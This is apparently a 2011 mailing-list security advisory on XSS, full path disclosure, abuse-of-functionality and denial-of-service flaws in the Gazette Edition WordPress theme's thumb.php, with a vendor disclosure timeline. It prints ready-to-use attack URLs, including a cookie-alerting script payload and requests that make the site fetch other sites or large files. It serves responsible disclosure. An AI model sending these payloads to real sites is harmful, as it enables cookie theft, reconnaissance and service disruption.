Cross Site Scripting, Full Path Disclosure, Abuse of Functionality and Denial of Service vulnerabilities in The Gazette Edition theme for WordPress by WooThemes, affecting versions 2.9.4 and previous

Code
`Hello list!  
  
I want to warn you about Cross-Site Scripting, Full path disclosure, Abuse  
of Functionality and Denial of Service vulnerabilities in The Gazette  
Edition theme for WordPress. It's commercial theme for WP by WooThemes.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are The Gazette Edition 2.9.4 and previous versions. XSS is  
possible only in old versions of the theme. Recently in version The Gazette  
Edition 2.9.5 most of these vulnerabilities were fixed (but there were still  
left many not fixed FPD).  
  
----------  
Details:  
----------  
  
XSS (WASC-08):  
  
http://site/wp-content/themes/gazette/thumb.php?src=1%3Cbody%20onload=alert(document.cookie)%3E  
  
Full path disclosure (WASC-13):  
  
http://site/wp-content/themes/gazette/thumb.php?src=http://site  
  
http://site/wp-content/themes/gazette/thumb.php?src=http://site/page.png&h=1&w=1111111  
  
http://site/wp-content/themes/gazette/thumb.php?src=http://site/page.png&h=1111111&w=1  
  
http://site/wp-content/themes/gazette/  
  
And also tens of php-scripts of the theme in folder /gazette/ and all  
subfolders.  
  
Abuse of Functionality (WASC-42):  
  
http://site/wp-content/themes/gazette/thumb.php?src=http://site&h=1&w=1  
  
DoS (WASC-10):  
  
http://site/wp-content/themes/gazette/thumb.php?src=http://site/big_file&h=1&w=1  
  
About such AoF and DoS vulnerabilities I wrote in article Using of the sites  
for attacks on other sites  
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).  
  
Beside folder /gazette/ in folder with themes, this theme also can be placed  
in folder /gazette-dev/gazette/.  
  
------------  
Timeline:  
------------  
  
2011.02.01 - informed developers about other themes.  
2011.02.03 - announced at my site.  
2011.02.04 - additionally informed developers about this theme.  
2011.02.04-12 - conversation about fixing holes in all their themes for  
WordPress. At first they tried to fix all these holes in themes at their own  
sites.  
2011.02.22 - developers released version 2.9.5.  
2011.04.11 - disclosed at my site.
